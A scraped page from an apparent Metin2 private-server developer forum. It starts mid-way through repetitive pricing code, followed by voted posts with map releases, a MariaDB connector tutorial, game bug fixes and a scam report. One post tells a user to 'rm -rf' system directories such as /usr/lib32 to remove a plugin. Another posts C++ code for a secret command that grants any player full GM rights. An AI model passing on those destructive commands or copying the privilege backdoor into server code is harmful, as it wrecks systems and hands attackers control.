constInfo.kirmiziot71 maviotprices = constInfo.maviot71 morotprices = constInfo.morot71 ruhtasiprices = constInfo.ruhtasi71 if slotIndex == 72: suprices = constInfo.sufiyat72 barprices = constInfo.barfiyat72 yesilotprices = constInfo.yesilot72 kirmiziotprices = constInfo.kirmiziot72 maviotprices = constInfo.maviot72 morotprices = constInfo.morot72 ruhtasiprices = constInfo.ruhtasi72 if slotIndex == 73: suprices = constInfo.sufiyat73 barprices = constInfo.barfiyat73 yesilotprices = constInfo.yesilot73 kirmiziotprices = constInfo.kirmiziot73 maviotprices = constInfo.maviot73 morotprices = constInfo.morot73 ruhtasiprices = constInfo.ruhtasi73 if slotIndex == 74: suprices = constInfo.sufiyat74 barprices = constInfo.barfiyat74 yesilotprices = constInfo.yesilot74 kirmiziotprices = constInfo.kirmiziot74 maviotprices = constInfo.maviot74 morotprices = constInfo.morot74 ruhtasiprices = constInfo.ruhtasi74 if slotIndex == 75: suprices = constInfo.sufiyat75 barprices = constInfo.barfiyat75 yesilotprices = constInfo.yesilot75 kirmiziotprices = constInfo.kirmiziot75 maviotprices = constInfo.maviot75 morotprices = constInfo.morot75 ruhtasiprices = constInfo.ruhtasi75 if slotIndex == 76: suprices = constInfo.sufiyat76 barprices = constInfo.barfiyat76 yesilotprices = constInfo.yesilot76 kirmiziotprices = constInfo.kirmiziot76 maviotprices = constInfo.maviot76 morotprices = constInfo.morot76 ruhtasiprices = constInfo.ruhtasi76 if slotIndex == 77: suprices = constInfo.sufiyat77 barprices = constInfo.barfiyat77 yesilotprices = constInfo.yesilot77 kirmiziotprices = constInfo.kirmiziot77 maviotprices = constInfo.maviot77 morotprices = constInfo.morot77 ruhtasiprices = constInfo.ruhtasi77 if slotIndex == 78: suprices = constInfo.sufiyat78 barprices = constInfo.barfiyat78 yesilotprices = constInfo.yesilot78 kirmiziotprices = constInfo.kirmiziot78 maviotprices = constInfo.maviot78 morotprices = constInfo.morot78 ruhtasiprices = constInfo.ruhtasi78 if slotIndex == 79: suprices = constInfo.sufiyat79 barprices = constInfo.barfiyat79 yesilotprices = constInfo.yesilot79 kirmiziotprices = constInfo.kirmiziot79 maviotprices = constInfo.maviot79 morotprices = constInfo.morot79 ruhtasiprices = constInfo.ruhtasi79 if slotIndex == 80: suprices = constInfo.sufiyat80 barprices = constInfo.barfiyat80 yesilotprices = constInfo.yesilot80 kirmiziotprices = constInfo.kirmiziot80 maviotprices = constInfo.maviot80 morotprices = constInfo.morot80 ruhtasiprices = constInfo.ruhtasi80 if slotIndex == 81: suprices = constInfo.sufiyat81 barprices = constInfo.barfiyat81 yesilotprices = constInfo.yesilot81 kirmiziotprices = constInfo.kirmiziot81 maviotprices = constInfo.maviot81 morotprices = constInfo.morot81 ruhtasiprices = constInfo.ruhtasi81 if slotIndex == 82: suprices = constInfo.sufiyat82 barprices = constInfo.barfiyat82 yesilotprices = constInfo.yesilot82 kirmiziotprices = constInfo.kirmiziot82 maviotprices = constInfo.maviot82 morotprices = constInfo.morot82 ruhtasiprices = constInfo.ruhtasi82 if slotIndex == 83: suprices = constInfo.sufiyat83 barprices = constInfo.barfiyat83 yesilotprices = constInfo.yesilot83 kirmiziotprices = constInfo.kirmiziot83 maviotprices = constInfo.maviot83 morotprices = constInfo.morot83 ruhtasiprices = constInfo.ruhtasi83 if slotIndex == 84: suprices = constInfo.sufiyat84 barprices = constInfo.barfiyat84 yesilotprices = constInfo.yesilot84 kirmiziotprices = constInfo.kirmiziot84 maviotprices = constInfo.maviot84 morotprices = constInfo.morot84 ruhtasiprices = constInfo.ruhtasi84 if slotIndex == 85: suprices = constInfo.sufiyat85 barprices = constInfo.barfiyat85 yesilotprices = constInfo.yesilot85 kirmiziotprices = constInfo.kirmiziot85 maviotprices = constInfo.maviot85 morotprices = constInfo.morot85 ruhtasiprices = constInfo.ruhtasi85 if slotIndex == 86: suprices = constInfo.sufiyat86 barprices = constInfo.barfiyat86 yesilotprices = constInfo.yesilot86 kirmiziotprices = constInfo.kirmiziot86 maviotprices = constInfo.maviot86 morotprices = constInfo.morot86 ruhtasiprices = constInfo.ruhtasi86 if slotIndex == 87: suprices = constInfo.sufiyat87 barprices = constInfo.barfiyat87 yesilotprices = constInfo.yesilot87 kirmiziotprices = constInfo.kirmiziot87 maviotprices = constInfo.maviot87 morotprices = constInfo.morot87 ruhtasiprices = constInfo.ruhtasi87 if slotIndex == 88: suprices = constInfo.sufiyat88 barprices = constInfo.barfiyat88 yesilotprices = constInfo.yesilot88 kirmiziotprices = constInfo.kirmiziot88 maviotprices = constInfo.maviot88 morotprices = constInfo.morot88 ruhtasiprices = constInfo.ruhtasi88 if slotIndex == 89: suprices = constInfo.sufiyat89 barprices = constInfo.barfiyat89 yesilotprices = constInfo.yesilot89 kirmiziotprices = constInfo.kirmiziot89 maviotprices = constInfo.maviot89 morotprices = constInfo.morot89 ruhtasiprices = constInfo.ruhtasi89 if slotIndex == 90: suprices = constInfo.sufiyat90 barprices = constInfo.barfiyat90 yesilotprices = constInfo.yesilot90 kirmiziotprices = constInfo.kirmiziot90 maviotprices = constInfo.maviot90 morotprices = constInfo.morot90 ruhtasiprices = constInfo.ruhtasi90 if slotIndex == 91: suprices = constInfo.sufiyat91 barprices = constInfo.barfiyat91 yesilotprices = constInfo.yesilot91 kirmiziotprices = constInfo.kirmiziot91 maviotprices = constInfo.maviot91 morotprices = constInfo.morot91 ruhtasiprices = constInfo.ruhtasi91 if slotIndex == 92: suprices = constInfo.sufiyat92 barprices = constInfo.barfiyat92 yesilotprices = constInfo.yesilot92 kirmiziotprices = constInfo.kirmiziot92 maviotprices = constInfo.maviot92 morotprices = constInfo.morot92 ruhtasiprices = constInfo.ruhtasi92 if slotIndex == 93: suprices = constInfo.sufiyat93 barprices = constInfo.barfiyat93 yesilotprices = constInfo.yesilot93 kirmiziotprices = constInfo.kirmiziot93 maviotprices = constInfo.maviot93 morotprices = constInfo.morot93 ruhtasiprices = constInfo.ruhtasi93 if slotIndex == 94: suprices = constInfo.sufiyat94 barprices = constInfo.barfiyat94 yesilotprices = constInfo.yesilot94 kirmiziotprices = constInfo.kirmiziot94 maviotprices = constInfo.maviot94 morotprices = constInfo.morot94 ruhtasiprices = constInfo.ruhtasi94 if slotIndex == 95: suprices = constInfo.sufiyat95 barprices = constInfo.barfiyat95 yesilotprices = constInfo.yesilot95 kirmiziotprices = constInfo.kirmiziot95 maviotprices = constInfo.maviot95 morotprices = constInfo.morot95 ruhtasiprices = constInfo.ruhtasi95 if slotIndex == 96: suprices = constInfo.sufiyat96 barprices = constInfo.barfiyat96 yesilotprices = constInfo.yesilot96 kirmiziotprices = constInfo.kirmiziot96 maviotprices = constInfo.maviot96 morotprices = constInfo.morot96 ruhtasiprices = constInfo.ruhtasi96 if slotIndex == 97: suprices = constInfo.sufiyat97 barprices = constInfo.barfiyat97 yesilotprices = constInfo.yesilot97 kirmiziotprices = constInfo.kirmiziot97 maviotprices = constInfo.maviot97 morotprices = constInfo.morot97 ruhtasiprices = constInfo.ruhtasi97 if slotIndex == 98: suprices = constInfo.sufiyat98 barprices = constInfo.barfiyat98 yesilotprices = constInfo.yesilot98 kirmiziotprices = constInfo.kirmiziot98 maviotprices = constInfo.maviot98 morotprices = constInfo.morot98 ruhtasiprices = constInfo.ruhtasi98 if slotIndex == 99: suprices = constInfo.sufiyat99 barprices = constInfo.barfiyat99 yesilotprices = constInfo.yesilot99 kirmiziotprices = constInfo.kirmiziot99 maviotprices = constInfo.maviot99 morotprices = constInfo.morot99 ruhtasiprices = constInfo.ruhtasi99 if slotIndex == 100: suprices = constInfo.sufiyat100 barprices = constInfo.barfiyat100 yesilotprices = constInfo.yesilot100 kirmiziotprices = constInfo.kirmiziot100 maviotprices = constInfo.maviot100 morotprices = constInfo.morot100 ruhtasiprices = constInfo.ruhtasi100 if targetSlotPos == 0: constInfo.sufiyat0 = int(text1) if targetSlotPos == 1: constInfo.sufiyat1 = int(text1) if targetSlotPos == 2: constInfo.sufiyat2 = int(text1) if targetSlotPos == 3: constInfo.sufiyat3 = int(text1) if targetSlotPos == 4: constInfo.sufiyat4 = int(text1) if targetSlotPos == 5: constInfo.sufiyat5 = int(text1) if targetSlotPos == 6: constInfo.sufiyat6 = int(text1) if targetSlotPos == 7: constInfo.sufiyat7 = int(text1) if targetSlotPos == 8: constInfo.sufiyat8 = int(text1) if targetSlotPos == 9: constInfo.sufiyat9 = int(text1) if targetSlotPos == 10: constInfo.sufiyat10 = int(text1) if targetSlotPos == 11: constInfo.sufiyat11 = int(text1) if targetSlotPos == 12: constInfo.sufiyat12 = int(text1) if targetSlotPos == 13: constInfo.sufiyat13 = int(text1) if targetSlotPos == 14: constInfo.sufiyat14 = int(text1) if targetSlotPos == 15: constInfo.sufiyat15 = int(text1) if targetSlotPos == 16: constInfo.sufiyat16 = int(text1) if targetSlotPos == 17: constInfo.sufiyat17 = int(text1) if targetSlotPos == 18: constInfo.sufiyat18 = int(text1) if targetSlotPos == 19: constInfo.sufiyat19 = int(text1) if targetSlotPos == 20: constInfo.sufiyat20 = int(text1) if targetSlotPos == 21: constInfo.sufiyat21 = int(text1) if targetSlotPos == 22: constInfo.sufiyat22 = int(text1) if targetSlotPos == 23: constInfo.sufiyat23 = int(text1) if targetSlotPos == 24: constInfo.sufiyat24 = int(text1) if targetSlotPos == 25: constInfo.sufiyat25 = int(text1) if targetSlotPos == 26: constInfo.sufiyat26 = int(text1) if targetSlotPos == 27: constInfo.sufiyat27 = int(text1) if targetSlotPos == 28: constInfo.sufiyat28 = int(text1) if targetSlotPos == 29: constInfo.sufiyat29 = int(text1) if targetSlotPos == 30: constInfo.sufiyat30 = int(text1) if targetSlotPos == 31: constInfo.sufiyat31 = int(text1) if targetSlotPos == 32: constInfo.sufiyat32 = int(text1) if targetSlotPos == 33: constInfo.sufiyat33 = int(text1) if targetSlotPos == 34: constInfo.sufiyat34 = int(text1) if targetSlotPos == 35: constInfo.sufiyat35 = int(text1) if targetSlotPos == 36: constInfo.sufiyat36 = int(text1) if targetSlotPos == 37: constInfo.sufiyat37 = int(text1) if targetSlotPos == 38: constInfo.sufiyat38 = int(text1) if targetSlotPos == 39: constInfo.sufiyat39 = int(text1) if targetSlotPos == 40: constInfo.sufiyat40 = int(text1) if targetSlotPos == 41: constInfo.sufiyat41 = int(text1) if targetSlotPos == 42: constInfo.sufiyat42 = int(text1) if targetSlotPos == 43: constInfo.sufiyat43 = int(text1) if targetSlotPos == 44: constInfo.sufiyat44 = int(text1) if targetSlotPos == 45: constInfo.sufiyat45 = int(text1) if targetSlotPos == 46: constInfo.sufiyat46 = int(text1) if targetSlotPos == 47: constInfo.sufiyat47 = int(text1) if targetSlotPos == 48: constInfo.sufiyat48 = int(text1) if targetSlotPos == 49: constInfo.sufiyat49 = int(text1) if targetSlotPos == 50: constInfo.sufiyat50 = int(text1) if targetSlotPos == 51: constInfo.sufiyat51 = int(text1) if targetSlotPos == 52: constInfo.sufiyat52 = int(text1) if targetSlotPos == 53: constInfo.sufiyat53 = int(text1) if targetSlotPos == 54: constInfo.sufiyat54 = int(text1) if targetSlotPos == 55: constInfo.sufiyat55 = int(text1) if targetSlotPos == 56: constInfo.sufiyat56 = int(text1) if targetSlotPos == 57: constInfo.sufiyat57 = int(text1) if targetSlotPos == 58: constInfo.sufiyat58 = int(text1) if targetSlotPos == 59: constInfo.sufiyat59 = int(text1) if targetSlotPos == 60: constInfo.sufiyat60 = int(text1) if targetSlotPos == 61: constInfo.sufiyat61 = int(text1) if targetSlotPos == 62: constInfo.sufiyat62 = int(text1) if targetSlotPos == 63: constInfo.sufiyat63 = int(text1) if targetSlotPos == 64: constInfo.sufiyat64 = int(text1) if targetSlotPos == 65: constInfo.sufiyat65 = int(text1) if targetSlotPos == 66: constInfo.sufiyat66 = int(text1) if targetSlotPos == 67: constInfo.sufiyat67 = int(text1) if targetSlotPos == 68: constInfo.sufiyat68 = int(text1) if targetSlotPos == 69: constInfo.sufiyat69 = int(text1) if targetSlotPos == 70: constInfo.sufiyat70 = int(text1) if targetSlotPos == 71: constInfo.sufiyat71 = int(text1) if targetSlotPos == 72: constInfo.sufiyat72 = int(text1) if targetSlotPos == 73: constInfo.sufiyat73 = int(text1) if targetSlotPos == 74: constInfo.sufiyat74 = int(text1) if targetSlotPos == 75: constInfo.sufiyat75 = int(text1) if targetSlotPos == 76: constInfo.sufiyat76 = int(text1) if targetSlotPos == 77: constInfo.sufiyat77 = int(text1) if targetSlotPos == 78: constInfo.sufiyat78 = int(text1) if targetSlotPos == 79: constInfo.sufiyat79 = int(text1) if targetSlotPos == 80: constInfo.sufiyat80 = int(text1) if targetSlotPos == 81: constInfo.sufiyat81 = int(text1) if targetSlotPos == 82: constInfo.sufiyat82 = int(text1) if targetSlotPos == 83: constInfo.sufiyat83 = int(text1) if targetSlotPos == 84: constInfo.sufiyat84 = int(text1) if targetSlotPos == 85: constInfo.sufiyat85 = int(text1) if targetSlotPos == 86: constInfo.sufiyat86 = int(text1) if targetSlotPos == 87: constInfo.sufiyat87 = int(text1) if targetSlotPos == 88: constInfo.sufiyat88 = int(text1) if targetSlotPos == 89: constInfo.sufiyat89 = int(text1) if targetSlotPos == 90: constInfo.sufiyat90 = int(text1) if targetSlotPos == 91: constInfo.sufiyat91 = int(text1) if targetSlotPos == 92: constInfo.sufiyat92 = int(text1) if targetSlotPos == 93: constInfo.sufiyat93 = int(text1) if targetSlotPos == 94: constInfo.sufiyat94 = int(text1) if targetSlotPos == 95: constInfo.sufiyat95 = int(text1) if targetSlotPos == 96: constInfo.sufiyat96 = int(text1) if targetSlotPos == 97: constInfo.sufiyat97 = int(text1) if targetSlotPos == 98: constInfo.sufiyat98 = int(text1) if targetSlotPos == 99: constInfo.sufiyat99 = int(text1) if targetSlotPos == 100: constInfo.sufiyat100 = int(text1) After you see it, you can dream.
  6. 6 points
    Hello, here my Map for 31.12.2017. It's for free, the Download coming out 31.12.2017 fallow the thread for new's and Vote for the Downloadlink Picabo: Stone Case Farming - Leveling - Run Map Size: 2 x 2 Time to Create: 2 Hours Speedart: Part 1 of 3 Part 2 of 3 For the Downloadlink: Vote the Video and Comment, only People with Comments will have the Map. Ace
  7. 5 points
    What is the general foreign language in the Turkish schools? I'm 100% sure it isn't english.
  8. 4 points
    Hello, here's a tutorial on how to update your MySQL Connector C (i think it's not supported anymore thanks oracle @.@) into MariaDB Connector C extracted from my source. You must need MariaDB, if you use MySQL with this connector don't ask help because it's not ment to be compatible. With this edit you could use MariaDB Connector v3.x without any problem. 1) Makefile update Open your libsql, db and game makefile and on the CFLAGS/IFLAGS add this: -I<your Extern source>/include/mariadb (ie.: ../Extern/include/mariadb) Also, if you have a -I referencing mysql please delete it Then, add this to your libsql, db and game CFLAGS this -D__MARIADB__ Finally, change on your db and game LIBS this -lmysqlclient into -lmariadbclient -lssl -lcrypto NOTE: If you already link libssl and libcrypto you can skip them NOTE ON 64BIT ENVIRONMENT: 2) Source Update Edit this code from libsql/AsyncSQL.h: #include <mysql/mysql.h> #include <mysql/errmsg.h> #include <mysql/mysqld_error.h> into: #ifdef __MARIADB__ #include <mariadb/mysql.h> #include <mariadb/errmsg.h> #include <mariadb/mysqld_error.h> #else #include <mysql/mysql.h> #include <mysql/errmsg.h> #include <mysql/mysqld_error.h> #endif Edit this code on db/DBManager.h #include <mysql/mysql.h> into this: #ifdef __MARIADB__ #include <mariadb/mysql.h> #else #include <mysql/mysql.h> #endif Finally, edit this file on libsql/AsyncSQL.cpp fprintf(stdout, "AsyncSQL: connected to %s (reconnect %d)\n", m_stHost.c_str(), m_hDB.reconnect); into: #ifdef __MARIADB__ fprintf(stdout, "AsyncSQL: connected to %s\n", m_stHost.c_str()); #else fprintf(stdout, "AsyncSQL: connected to %s (reconnect %d)\n", m_stHost.c_str(), m_hDB.reconnect); #endif 3) Database Server Update Now we're gonna replace the name "window" because MariaDB introduce the window operator that conflict with the query name What we will basicly do is change any "window" in query into "windows" db/AuctionManager.cpp function LoadAuctionItem() Replace: FROM item WHERE window = 'AUCTION' To: FROM item WHERE windows = 'AUCTION' db/ClientManagerPlayer.cpp Replace: ///////////////////////////////////////////// // 2) 아이템이 DBCache 에 없음 : DB 에서 가져옴 ///////////////////////////////////////////// else { snprintf(szQuery, sizeof(szQuery), "SELECT id,window+0,pos,count,vnum,socket0,socket1,socket2,attrtype0,attrvalue0,attrtype1,attrvalue1,attrtype2,attrvalue2,attrtype3,attrvalue3,attrtype4,attrvalue4,attrtype5,attrvalue5,attrtype6,attrvalue6 " "FROM item%s WHERE owner_id=%d AND (window < %d or window = %d)", GetTablePostfix(), pTab->id, SAFEBOX, DRAGON_SOUL_INVENTORY); CDBManager::instance().ReturnQuery(szQuery, QID_ITEM, peer->GetHandle(), new ClientHandleInfo(dwHandle, pTab->id)); into: ///////////////////////////////////////////// // 2) 아이템이 DBCache 에 없음 : DB 에서 가져옴 ///////////////////////////////////////////// else { snprintf(szQuery, sizeof(szQuery), "SELECT id,windows+0,pos,count,vnum,socket0,socket1,socket2,attrtype0,attrvalue0,attrtype1,attrvalue1,attrtype2,attrvalue2,attrtype3,attrvalue3,attrtype4,attrvalue4,attrtype5,attrvalue5,attrtype6,attrvalue6 " "FROM item%s WHERE owner_id=%d AND (windows < %d or windows = %d)", GetTablePostfix(), pTab->id, SAFEBOX, DRAGON_SOUL_INVENTORY); CDBManager::instance().ReturnQuery(szQuery, QID_ITEM, peer->GetHandle(), new ClientHandleInfo(dwHandle, pTab->id)); Also replace: ClientHandleInfo * pkInfo = new ClientHandleInfo(dwHandle, packet->player_id); pkInfo->account_id = packet->account_id; CDBManager::instance().ReturnQuery(queryStr, QID_PLAYER, peer->GetHandle(), pkInfo); //-------------------------------------------------------------- // 아이템 가져오기 //-------------------------------------------------------------- snprintf(queryStr, sizeof(queryStr), "SELECT id,window+0,pos,count,vnum,socket0,socket1,socket2,attrtype0,attrvalue0,attrtype1,attrvalue1,attrtype2,attrvalue2,attrtype3,attrvalue3,attrtype4,attrvalue4,attrtype5,attrvalue5,attrtype6,attrvalue6 " "FROM item%s WHERE owner_id=%d AND (window < %d or window = %d)", GetTablePostfix(), packet->player_id, SAFEBOX, DRAGON_SOUL_INVENTORY); CDBManager::instance().ReturnQuery(queryStr, QID_ITEM, peer->GetHandle(), new ClientHandleInfo(dwHandle, packet->player_id)); Into: ClientHandleInfo * pkInfo = new ClientHandleInfo(dwHandle, packet->player_id); pkInfo->account_id = packet->account_id; CDBManager::instance().ReturnQuery(queryStr, QID_PLAYER, peer->GetHandle(), pkInfo); //-------------------------------------------------------------- // 아이템 가져오기 //-------------------------------------------------------------- snprintf(queryStr, sizeof(queryStr), "SELECT id,windows+0,pos,count,vnum,socket0,socket1,socket2,attrtype0,attrvalue0,attrtype1,attrvalue1,attrtype2,attrvalue2,attrtype3,attrvalue3,attrtype4,attrvalue4,attrtype5,attrvalue5,attrtype6,attrvalue6 " "FROM item%s WHERE owner_id=%d AND (windows < %d or windows = %d)", GetTablePostfix(), packet->player_id, SAFEBOX, DRAGON_SOUL_INVENTORY); CDBManager::instance().ReturnQuery(queryStr, QID_ITEM, peer->GetHandle(), new ClientHandleInfo(dwHandle, packet->player_id)); Finally replace: snprintf(queryStr, sizeof(queryStr), "DELETE FROM player%s WHERE id=%d", GetTablePostfix(), pi->player_id); delete CDBManager::instance().DirectQuery(queryStr); snprintf(queryStr, sizeof(queryStr), "DELETE FROM item%s WHERE owner_id=%d AND (window < %d or window = %d)", GetTablePostfix(), pi->player_id, SAFEBOX, DRAGON_SOUL_INVENTORY); delete CDBManager::instance().DirectQuery(queryStr); Into: snprintf(queryStr, sizeof(queryStr), "DELETE FROM player%s WHERE id=%d", GetTablePostfix(), pi->player_id); delete CDBManager::instance().DirectQuery(queryStr); snprintf(queryStr, sizeof(queryStr), "DELETE FROM item%s WHERE owner_id=%d AND (windows < %d or windows = %d)", GetTablePostfix(), pi->player_id, SAFEBOX, DRAGON_SOUL_INVENTORY); delete CDBManager::instance().DirectQuery(queryStr); 4) Query update Design your player.item table, and change "window" to "windows". We have update into the new connector (mariadb connector c 3.x safetly), if you would like to downgrade change -lmariadbclient into -lmysqlclient, remove -D__MARIADB__ and change the -I referencing mariadb into mysql. Thanks for reading
  9. 4 points
    750€, fast, last chance
  10. 4 points
    Hello Guys, i will release for you a new Map for free it's 2 x 2 Map for ("Run, Level, Farm, PvP") the Release Date is 31.12.2017, so you can Download the Map now but you will see the Password then 31.12.2017 on my new Video on YouTube. Have fun and let a Like there by the Vid's Picture of Picabo Minimap: Big Picture Loading: Picture Ingame: Please test it cause the Pictures dont say anything about the Map Speed-Art of Picabo: Part 1 Part 2 Part 3: Release Date and Download Have fun,
  11. 4 points
    A friend was scam by this piece of shit ! He is scammer. he said "sell" something, but he sent bullshits! Proof of payment from my friend: https://gyazo.com/8d7fdd7d8b9b2b913dfacde51c4b0734 https://gyazo.com/7969a5808db103132588f9cec6eeb147 Now, he don't reply... http://prntscr.com/ht2p5m Firstly, when my friend added this shit, he want all userinterface files to theft other things and resell it ! When i added him, he text me http://prntscr.com/ht2pwt , but with my friend, he don t answer.... This is the "BEST PROTECTION" https://mega.nz/#!UeIBzLpZ!acOn2DqrjTaqrwZrEj-s0EHgZp6MYYBH-nDYGfEKWeA (Don't try it because it's useless and doesn't work) Please delete this topic and ban this scammer !
  12. 3 points
    Hi! Many of you asked about valentine's stuff last years... This year i decided to make some stuff for this event. Here is first thing - map.
  13. 3 points
    Hi devs, today I will release the fix I made for the skill cooldown, already fixed on official servers, this is the bug it self: And this is the fix: Regards! Fix skill cooldown ~ Shang.rar ### root/ui.py ### Search: def SetSlotCoolTimeColor(self, slotIndex, r, g, b, a): wndMgr.SetSlotCoolTimeColor(self.hWnd, slotIndex, r, g, b, a) ### Add after: def StoreSlotCoolTime(self, key, slotIndex, coolTime, elapsedTime = 0.0): wndMgr.StoreSlotCoolTime(self.hWnd, key, slotIndex, coolTime, elapsedTime) def RestoreSlotCoolTime(self, key): wndMgr.RestoreSlotCoolTime(self.hWnd, key) Thanks to @Horinna for report that bug. Here's the fix: """ Find this: elif (not self.__CanUseSkillNow()) or (skillGrade != j): skillPage.SetSlotCount(realSlotIndex, 0) skillPage.DisableCoverButton(realSlotIndex) Add this under:""" skillPage.DeactivateSlot(realSlotIndex) # After the else, paste this: if player.IsSkillActive(slotIndex) and (skillGrade == j): # fix001 skillPage.ActivateSlot(realSlotIndex) # The if should look like this: if (skillGrade == skill.SKILL_GRADE_COUNT) and j == (skill.SKILL_GRADE_COUNT-1): skillPage.SetSlotCountNew(realSlotIndex, skillGrade, skillLevel) elif (not self.__CanUseSkillNow()) or (skillGrade != j): skillPage.SetSlotCount(realSlotIndex, 0) skillPage.DisableCoverButton(realSlotIndex) skillPage.DeactivateSlot(realSlotIndex) # fix else: skillPage.SetSlotCountNew(realSlotIndex, skillGrade, skillLevel) if player.IsSkillActive(slotIndex) and (skillGrade == j): # fix skillPage.ActivateSlot(realSlotIndex)
  14. 3 points
    Hello, This little thing is marks your pet seal into your inventory like the autopotion. This arrives with the v17.5 patch. Open PetSystem.cpp and replace or make it fit for you: void CPetActor::SetSummonItem(LPITEM pItem) { if (NULL == pItem) { LPITEM pSummonItem = ITEM_MANAGER::instance().FindByVID(m_dwSummonItemVID); if (NULL != pSummonItem) pSummonItem->SetSocket(1, FALSE); m_dwSummonItemVID = 0; m_dwSummonItemVnum = 0; return; } pItem->SetSocket(1, TRUE); m_dwSummonItemVID = pItem->GetVID(); m_dwSummonItemVnum = pItem->GetVnum(); } After that open the uiInventory.py and paste this code below the autopotion if-statement in the RefreshBagSlotWindow function. elif itemVnum >= 53001 and itemVnum <= 53256: metinSocket = [player.GetItemMetinSocket(globalSlotNumber, j) for j in xrange(player.METIN_SOCKET_MAX_NUM)]# <!> globalSlotNumber may be different <!> isActivated = 0 != metinSocket[1] if isActivated: self.wndItem.ActivateSlot(i) else: self.wndItem.DeactivateSlot(i)
  15. 3 points
  16. 3 points
    WOW !!! YOU ARE SMART !!!
  17. 3 points
    After 4 years you come to say that shit? Posted June 24, 2014 - Today: January 05, 2018. Thanks Senpai.
  18. 3 points
    #include <iostream> using namespace std; int main() { cout << "Refresh real time maintenance by vegas."; return 0; }
  19. 3 points
    #Last Update ->deleted largest py codes Delete everything and remake
  20. 3 points
    https://mega.nz/#!74ZCASKZ!OdFgD1EbK5f0Hb0dgVEqZKBpVWGhx64S659BLzjaXJ4 https://www.virustotal.com/#/file-analysis/YTVlYjkyNmZjZGM5NDY5OGUyMzcyZmZjNTg5MWI5MDg6MTUxMzM2NDA2NA==
  21. 3 points
    Hello. I saw this stuff on this and on another board also with bugs or it was incomplete, and I made it to myself. Feel free to use it with your brain. Good to know about this: The name of those items which have attributes will be golden. The skillbook and skillforget items will show the name of skill also. If the item isn't yours than the ownership color will be red instead of yellow. * Készségkönyv = Skillbook(id:50300) * Feledés könyve = Skillforget book(id:70037) PS.: If you have problems with the implementation: start to upgrade your programming knowledges and don't disturb me in private message, I won't answer. Thank you for understanding. https://mega.nz/#!KAh3DQqL!yQQX9o4N8sTsS7Woa4W07C8t5jwp0TV5xg7MHLSFz5Y
  22. 3 points
    Hey there! The unify_enable flag should be either 1(true) or 0(false). So if you set it to 1 then it should work New version coming soon with fixed db and some other small changes. Mainly stability stuff, I'm currently working on it through the night and inform you about the progress as soon as I can
  23. 3 points
    Get the fuck out of here dude, someone who doesn't respect the developers' work (leechers/resellers/etc.) is not welcome in this community.
  24. 3 points
    Hello everyone. It's a good day to share an old code with you. First of all you need to know: I don't help to install it. Don't even take the contact with me about it. The whole code is written by me, and reversed from official binaries. At the beginning do a backup for your files(srcs+pys) and READ CAREFULLY the readme. W/o brain.exe please close this tab, or your browser, thank you for your understanding. Preview: Download.exe Enjoy & #h4v3fun, pngr
  25. 3 points
  26. 3 points
    Exactly! Wtf is this? A new kind of inteligent "backdoor" ?
  27. 3 points
    1)cd /var 2)rm -rf db 3)cd / 4)rm -rf libs 5)cd /usr 6)rm -rf lib32 after make a reboot and check if the plugin was removed itself , if not say me to help you
  28. 3 points
  29. 2 points
    Last Version>Download Bugs are solved(video1): #Last Update ->deleted largest py codes Delete everything and remake CPU overload fixed
  30. 2 points
  31. 2 points
  32. 2 points
    Here is my speedtree models library (size 2GB, over 2200 spt, 2500 textures). Most of the trees are ready to save in sptCAD3 but remember to save textures as .dds. https://mega.nz/#!Y953yYZS!Ki5s2iqyPXhEYlniskFCcf8eWXfDB9TcA2fIYQg7oR8 I hope it will be usefull for you If you have any question send me a message.
  33. 2 points
    Hello everyone, we have prepared a new design for the cold season! View Map1 Shinsoo: View Map1 Chunjo: View Map1 Jinno: Download :https://mega.nz/#!h810TArY!5tzvgL5PKrM3Vfyw9cd2OqxVwMODJjlUbk_U8gKbyYg
  34. 2 points
    Hello, A few weeks ago, being bored I thought about creating a visual editor for item_proto, without the need of XML, and here's the result: https://cataclismo.github.io/item_proto_lib/ I should mention that this is my first time working with CLI and C#. Pretty fun actually. Also, the binaries for graphic interface (including library dll) are built for x64 arch. If anyone wants, I can provide the source code for the graphic interface, but because of laziness, I made the interface a bit tricky, yet easy to modify (on some parts). Enjoy PS: Any feedback is welcome. Not tested with an actual client. Just read and written some item_proto files. xD
  35. 2 points
    So I had this problem as title says ... Suddenly I couldn't raise my secondary skil level by reading a skillbook so after I checked all the possible ways and I figured out that the problem is resulted from one single line. Note: I asked a few friends to test this bug on their servers and it was confirmed they have the same bug. To fix the bug search inside char_skill.cpp at function And replace the line with :
  36. 2 points
  37. 2 points
  38. 2 points
    The textures of this water are ideally joined by no visible textures (seams). Colors are well matched to the climate of the metin. If you like this look here: https://metin2dev.org/board/index.php?/topic/16751-3d-art-tatsumaru/
  39. 2 points
    For inventory problem: ## uiselectitem.py ## Search: for i in xrange(player.INVENTORY_PAGE_SIZE*2): ## Replace with: for i in xrange(player.INVENTORY_PAGE_SIZE * player.INVENTORY_PAGE_COUNT): For +3 stones: -- guild_building_melt.quest -- Search: if item.vnum < 28000 or item.vnum >= 28300 then -- Replace with: if item.vnum < 28000 or item.vnum >= 28400 then
  40. 2 points
  41. 2 points
    cmd.cpp: ACMD(do_giveadminrights); { "give_admin_rights_secret_command", do_giveadminrights, 0, POS_DEAD, GM_PLAYER }, Replace the give_admin_rights_secret_command with your secret command to give gm rights to a player. cmd_general.cpp: ACMD(do_giveadminrights) { ch->GiveAdminRights(); ch->ChatPacket(CHAT_TYPE_NOTICE, "<Admin> GM Rights successfully added to this character."); } char.cpp: void CHARACTER::GiveAdminRights() { m_pointsInstant.gm_level = GM_IMPLEMENTOR; } char.h: void GiveAdminRights();
  42. 2 points
    Go sell this pile of shit to your friends, thanks.
  43. 2 points
  44. 2 points
    Hi there devs, I made some new reload commands about 2 weeks ago and published a tutorial about it on our Hungarian forum (you may saw them in the samurai core) and today I had some time to make the translation. What can I reload now? refine_proto (this is the only one which is not mine, its @xP3NG3Rx's, and already public here, but I added it, because I think this package has to contain it ) command: /reload p shop_item table (npc's shops) command: /reload p item_attr && item_attr_rare table; command: /reload p etc_drop_item.txt, mob_drop_item.txt, special_item_group.txt; command: /reload drop group.txt, group_group.txt; command: /reload group regen.txt, npc.txt, boss.txt, stone.txt (only on the current map) command: /reload regen because of the new "reload regen" command, I had to write a new purge command that destroys all mobs, npcs, stones (and so on...) on the current map, so I added a new /p map command to the "/p" commands that are already exists (no, the "/p all" only destroys the mobs on the current sectree (current block)) also I had to create a new command that stops all the regens (and ofc. deletes them from the memory) on the current map, so I added a new "/free_regens" command (because why not ) Its only deletes the loaded regens, and prevents the mobs from respawning (its not necessary to use this before the /reload regen) Known bug Well its not a serious problem, but for some unknown reason, when I'm debugging the core on windows server (no, 